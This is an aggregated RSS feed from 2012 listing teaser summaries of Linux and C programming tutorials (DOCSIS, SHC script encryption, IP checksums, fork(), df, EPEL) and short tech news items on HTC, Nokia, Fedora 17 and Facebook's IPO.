Fast data communication has become the basic need of todays world and Internet has become the heart of the communication ecosystem. Devices like mobile phones (whose purpose is voice communication) are having Internet connectivity and PCs, laptops etc (which are mostly  used for web surfing) are now also being used for voice communication. So we [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/docsis-introduction/>Intro to DOCSIS Architecture, CM CMTS Protocol for Cable Modems</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/Le84Sg5ReSr73nqU9msYCZjZXMY/0/da"><img src="http://feedads.g.doubleclick.net/~a/Le84Sg5ReSr73nqU9msYCZjZXMY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Le84Sg5ReSr73nqU9msYCZjZXMY/1/da"><img src="http://feedads.g.doubleclick.net/~a/Le84Sg5ReSr73nqU9msYCZjZXMY/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=lgOJDzFoqXg:jjf7MF_rIM4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=lgOJDzFoqXg:jjf7MF_rIM4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=lgOJDzFoqXg:jjf7MF_rIM4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=lgOJDzFoqXg:jjf7MF_rIM4:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/lgOJDzFoqXg" height="1" width="1"/>


title: How to Encrypt Your Bash Shell Script on Linux Using SHC
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/FnPiIp4IwjU/
author: Ramesh Natarajan
description:
Q: How do I encrypt my bash shell script on Linux environment? The shell script contains password, and I don&#8217;t want others who have execute access to view the shell script and get the password. Is there a way to encrypt my shell script? A: First, as a best practice you should not be encrypting [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/encrypt-bash-shell-script/>How to Encrypt Your Bash Shell Script on Linux Using SHC</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/VtVgChqe3kyH1YOwoJJuprOjhpU/0/da"><img src="http://feedads.g.doubleclick.net/~a/VtVgChqe3kyH1YOwoJJuprOjhpU/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/VtVgChqe3kyH1YOwoJJuprOjhpU/1/da"><img src="http://feedads.g.doubleclick.net/~a/VtVgChqe3kyH1YOwoJJuprOjhpU/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=FnPiIp4IwjU:yARzU9JM5T4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=FnPiIp4IwjU:yARzU9JM5T4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=FnPiIp4IwjU:yARzU9JM5T4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=FnPiIp4IwjU:yARzU9JM5T4:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/FnPiIp4IwjU" height="1" width="1"/>


title: How to Calculate IP Header Checksum (With an Example)
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/OF6k_PD5eGw/
author: Himanshu Arora
description:
If you have ever tried to understand the TCP/IP protocols then you would have definitely stumbled upon the checksum field that is the part of protocol headers like TCP, IP etc. Have you ever given a thought about things like what exactly is checksum, why is it used and how it is calculated. Well, in [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/ip-header-checksum/>How to Calculate IP Header Checksum (With an Example)</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/wXuCvtCWGVcP4Movtv-y3tRvUaM/0/da"><img src="http://feedads.g.doubleclick.net/~a/wXuCvtCWGVcP4Movtv-y3tRvUaM/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/wXuCvtCWGVcP4Movtv-y3tRvUaM/1/da"><img src="http://feedads.g.doubleclick.net/~a/wXuCvtCWGVcP4Movtv-y3tRvUaM/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=OF6k_PD5eGw:pr3ni4DkUsQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=OF6k_PD5eGw:pr3ni4DkUsQ:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=OF6k_PD5eGw:pr3ni4DkUsQ:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=OF6k_PD5eGw:pr3ni4DkUsQ:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/OF6k_PD5eGw" height="1" width="1"/>


title: UNIX / Linux Processes: C fork() Function
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/gIW0cZZbAcE/
author: Himanshu Arora
description:
Every running instance of a program is known as a process. The concept of processes is fundamental to the UNIX / Linux operating systems. A process has its own identity in form of a PID or a process ID. This PID for each process is unique across the whole operating system. Also, each process has its [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/c-fork-function/>UNIX / Linux Processes: C fork() Function</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/trYpAVJsNvYeq-hNbiL4cIhZm_c/0/da"><img src="http://feedads.g.doubleclick.net/~a/trYpAVJsNvYeq-hNbiL4cIhZm_c/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/trYpAVJsNvYeq-hNbiL4cIhZm_c/1/da"><img src="http://feedads.g.doubleclick.net/~a/trYpAVJsNvYeq-hNbiL4cIhZm_c/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=gIW0cZZbAcE:2_Ydgw8k6xU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=gIW0cZZbAcE:2_Ydgw8k6xU:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=gIW0cZZbAcE:2_Ydgw8k6xU:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=gIW0cZZbAcE:2_Ydgw8k6xU:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/gIW0cZZbAcE" height="1" width="1"/>


title: 7 Linux df Command Examples
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/YzwkZCTTjck/
author: Himanshu Arora
description:
df command in Linux provides disk space usage information of your file systems. Even if you already know about this command, probably one of the examples mentioned below might be new to you. A sample output from df command is as follows: $ df Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda1 132239776 6210884 119311504 [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/df-examples/>7 Linux df Command Examples</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/u4JqNxiixU3CW0cxPhKNyELoSq8/0/da"><img src="http://feedads.g.doubleclick.net/~a/u4JqNxiixU3CW0cxPhKNyELoSq8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/u4JqNxiixU3CW0cxPhKNyELoSq8/1/da"><img src="http://feedads.g.doubleclick.net/~a/u4JqNxiixU3CW0cxPhKNyELoSq8/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=YzwkZCTTjck:3EaWqJpQRT4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=YzwkZCTTjck:3EaWqJpQRT4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=YzwkZCTTjck:3EaWqJpQRT4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=YzwkZCTTjck:3EaWqJpQRT4:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/YzwkZCTTjck" height="1" width="1"/>


title: How to Setup Rsync for Windows Using DeltaCopy
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/176xcl0Gpgk/
author: Ramesh Natarajan
description:
You already know how powerful rsync utility is on Linux platform. One of the useful feature of rsync is that it can incrementally copy big files. i.e If you have a huge file (especially backups), that keeps changing every day, but you don&#8217;t need to copy the whole file. Instead using rsync, you can copy [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/rsync-for-windows-deltacopy/>How to Setup Rsync for Windows Using DeltaCopy</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/pVRKgBnoufvTW0Z-XdrxjUq8Bjk/0/da"><img src="http://feedads.g.doubleclick.net/~a/pVRKgBnoufvTW0Z-XdrxjUq8Bjk/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/pVRKgBnoufvTW0Z-XdrxjUq8Bjk/1/da"><img src="http://feedads.g.doubleclick.net/~a/pVRKgBnoufvTW0Z-XdrxjUq8Bjk/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=176xcl0Gpgk:Vh_4sFNsKuI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=176xcl0Gpgk:Vh_4sFNsKuI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=176xcl0Gpgk:Vh_4sFNsKuI:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=176xcl0Gpgk:Vh_4sFNsKuI:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/176xcl0Gpgk" height="1" width="1"/>


title: Best Coding Practices for Linux System Programming in C Language – Part 1
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/GUA_NkxDueE/
author: Himanshu Arora
description:
While developing a program, the programmer has to keep several things in mind like the code should not be complex ie it should be maintainable, portability is another area that is to be kept in mind. So we see that there are some good practices that the programmer should follow in order to produce a [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/coding-practices-for-linux/>Best Coding Practices for Linux System Programming in C Language &#8211; Part 1</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/ruDhKy34wB_mOetpAyhveagPTRI/0/da"><img src="http://feedads.g.doubleclick.net/~a/ruDhKy34wB_mOetpAyhveagPTRI/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/ruDhKy34wB_mOetpAyhveagPTRI/1/da"><img src="http://feedads.g.doubleclick.net/~a/ruDhKy34wB_mOetpAyhveagPTRI/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=GUA_NkxDueE:_b4VDKhCYKI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=GUA_NkxDueE:_b4VDKhCYKI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=GUA_NkxDueE:_b4VDKhCYKI:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=GUA_NkxDueE:_b4VDKhCYKI:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/GUA_NkxDueE" height="1" width="1"/>


title: How to Define C Macros (C Example Using #define and #ifdef)
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/4SrHHaYIRn4/
author: Himanshu Arora
description:
Sometimes while programming, we stumble upon a condition where we want to use a value or a small piece of code many times in a code. Also there is a possibility that the in future, the piece of code or value would change. Then changing the value all over the code does not make any [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/c-macros/>How to Define C Macros (C Example Using #define and #ifdef)</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/olOHWOYGldjo0raaI99OgoXOyoQ/0/da"><img src="http://feedads.g.doubleclick.net/~a/olOHWOYGldjo0raaI99OgoXOyoQ/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/olOHWOYGldjo0raaI99OgoXOyoQ/1/da"><img src="http://feedads.g.doubleclick.net/~a/olOHWOYGldjo0raaI99OgoXOyoQ/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=4SrHHaYIRn4:_8vvIPnPJXM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=4SrHHaYIRn4:_8vvIPnPJXM:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=4SrHHaYIRn4:_8vvIPnPJXM:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=4SrHHaYIRn4:_8vvIPnPJXM:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/4SrHHaYIRn4" height="1" width="1"/>


title: 10 Classic UNIX and C Programming Books to Enrich Your Library
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/p4QCn_IpHWU/
author: Ramesh Natarajan
description:
These are the classic books on UNIX and C programming written few decades ago, but still the best books in its category. C Programming Language (2nd Edition), by Brian W. Kernighan and Dennis M. Ritchie &#8211; Dennis M. Ritchie is the father of C programming who passed away recently. This is hands-down the best book [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/05/classic-unix-books/>10 Classic UNIX and C Programming Books to Enrich Your Library</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/FZszBCeWSfV9yUD23AG8kfV0uMg/0/da"><img src="http://feedads.g.doubleclick.net/~a/FZszBCeWSfV9yUD23AG8kfV0uMg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/FZszBCeWSfV9yUD23AG8kfV0uMg/1/da"><img src="http://feedads.g.doubleclick.net/~a/FZszBCeWSfV9yUD23AG8kfV0uMg/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=p4QCn_IpHWU:Gt1Wm8IqKYE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=p4QCn_IpHWU:Gt1Wm8IqKYE:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=p4QCn_IpHWU:Gt1Wm8IqKYE:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=p4QCn_IpHWU:Gt1Wm8IqKYE:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/p4QCn_IpHWU" height="1" width="1"/>


title: How to Enable EPEL Repository on CentOS for Yum Package Management
source: http://feedproxy.google.com/~r/TheGeekStuff/~3/1e9HCjxkAnw/
author: Ramesh Natarajan
description:
Question: How do I enable EPEL repository on CentOS so that I can install additional packages directly using yum command? Answer: EPEL stands for Extra Packages for Enterprise Linux. EPEL is maintained as part of the Fedora project that maintains several packages that are not part of the standard Red Hat Enterprise Linux (or CentOS). [...]<br /><br /> <p>Read More: <a href=http://www.thegeekstuff.com/2012/06/enable-epel-repository/>How to Enable EPEL Repository on CentOS for Yum Package Management</a></p><br/>Google+ : <a target="_blank" href="https://plus.google.com/112493711428194838421/posts" title="Google+">Add TGS to your Google+ Circle</a><br />Purchase your copy of <a target="_blank" href="http://www.thegeekstuff.com/bash-101-hacks-ebook" title="Bash 101 Hacks">Bash 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/vim-101-hacks-ebook" title="Vim 101 Hacks eBook">Vim 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/sed-awk-101-hacks-ebook/" title="Sed and Awk 101 Hacks eBook">Sed and Awk 101 Hacks</a>, <a target="_blank" href="http://www.thegeekstuff.com/nagios-core-ebook/" title="Nagios Core 3 eBook">Nagios Core 3</a> eBook.
<p><a href="http://feedads.g.doubleclick.net/~a/dNSm1w2rkdYBQyqkkUBelTjMqCw/0/da"><img src="http://feedads.g.doubleclick.net/~a/dNSm1w2rkdYBQyqkkUBelTjMqCw/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/dNSm1w2rkdYBQyqkkUBelTjMqCw/1/da"><img src="http://feedads.g.doubleclick.net/~a/dNSm1w2rkdYBQyqkkUBelTjMqCw/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=1e9HCjxkAnw:aLrSI6ND6SQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=1e9HCjxkAnw:aLrSI6ND6SQ:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?i=1e9HCjxkAnw:aLrSI6ND6SQ:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/TheGeekStuff?a=1e9HCjxkAnw:aLrSI6ND6SQ:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/TheGeekStuff?d=7Q72WNTAKBA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/TheGeekStuff/~4/1e9HCjxkAnw" height="1" width="1"/>


title: Judge tells Apple and HTC to Start Talking Settlement
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/578854:judge-tells-apple-and-htc-to-start-talking-settlement

description:
<p>The order comes after two key HTC smartphones are stopped at the border as a result of their ongoing dispute. [Read more]...</p>


title: Delayed HTC EVO 4G LTE Might Finally Get Here May 23
author: Gizmodo
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/578913:delayed-htc-evo-4g-lte-might-finally-get-here-may-23

description:
<p>HTC's One X and EVO 4G LTE are both held up in customs right now. Patent trouble. But according to updates folks who preordered the Sprint phone, the EVO 4G LTE has a tentative date of May 23. More&nbsp;»...</p>


title: Mandriva Returning to Community
source: https://www.linux.com/news/featured-blogs/135:distronews/578960:mandriva-returning-to-community
author: OStatic
description:
<p>In a blog post today Mandriva COO Jean-Manuel Croset announced that the new strategy going forward will be to let "the distribution evolve in and under the caring responsibility of the community." Mandriva SA will, of course, be a part of this entity. Croset continues by saying that "a workgroup of community representatives is...</p>


title: Google, Microsoft Said to be Creating New Cloud Services
author: CNET
source:
https://www.linux.com/news/enterprise/cloud-computing/578985:google-microsoft-said-to-be-creating-new-cloud-services

description:
<p>The two rivaling software giants are rumored to be in a run-off to introduce new Infrastructure as a Service platforms for the cloud, which could mean trouble for Amazon. [Read more]...</p>


title: Fedora 17 Won't Be Released Until 29 May
author: The H
source:
https://www.linux.com/news/featured-blogs/135:distronews/579159:fedora-17-wont-be-released-until-29-may

description:
<p>The Fedora Project has pushed back the final release date for version 17 of its popular Linux distribution by one week while its developers work to fix four blocker bugs...</p>


title: MK802 Micro-PC Runs Android 4.0 and Linux for $74
author: The H
source:
https://www.linux.com/news/hardware/peripherals/579186:mk802-micro-pc-runs-android-40-and-linux-for-74

description:
<p>The computer is the size of a USB stick and features a 1.5GHz Cortex A8 processor with 512MB of RAM and a MALI400 GPU. It can decode 1080p video via its HDMI output and has two USB connectors...</p>


title: HTC Evo 4G LTE Shipments Now Delayed at Best Buy
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/579200:htc-evo-4g-lte-shipments-now-delayed-at-best-buy

description:
<p>The retailer is now alerting customers that their orders for the Evo 4G LTE are being delayed indefinitely since Sprint has changed the release date. [Read more]...</p>


title: Analysts: Nokia On Track To Burn Through Its Whole $6B Cash Pile In Next 2 Years
author: TechCrunch
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/579220:analysts-nokia-on-track-to-burn-through-its-whole-6b-cash-pile-in-next-2-years

description:
<p>The Facebook IPO is expected to usher in a day of massive trading volumes on the markets, and some believe that might translate to a lift for some tech stocks. But one that could really use some help has just been served another course of bad press: Nokia is apparently burning through its cash reserves — fast. The company, for years the biggest mobile phone maker in the world, has fallen on very tough times, as competition from companies like Samsung, Apple and a barrage of inexpensive device makers, have translated into declines in sales, market share and profitability. That’s now translating into what has been identified as another issue: the burning of the cash pile.&nbsp;In the last five quarters, Nokia has burned through €2.1 billion ($2.7 billion) from its cash reserves. Analysts polled by Reuters on average believe that at the rate Nokia is going, it will go through another €2 billion ($2.5 billion) in the next three quarters, with the total current cash pile of €4.9 billion ($6 billion) gone within two years. To put that in some context, in 2007 Nokia had cash reserves of €10 billion in 2007 ($12.7 billion). That points to its cash pile burn accelerating — a result of...</p>


title: DealBook: Live Blog: Facebook's Market Debut
author: The New York Times
source:
https://www.linux.com/news/enterprise/biz-enterprise/579234:dealbook-live-blog-facebooks-market-debut

description:
<p>No other market debut has matched the frenzy created by Facebook. DealBook’s live blog will be tracking reactions to the company’s I.P.O. throughout the day.</p>


title: Samsung’s Galaxy S III Reportedly Racks Up Over 9 Million Pre-Orders Worldwide
author: TechCrunch
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/579235:samsungs-galaxy-s-iii-reportedly-racks-up-over-9-million-pre-orders-worldwide

description:
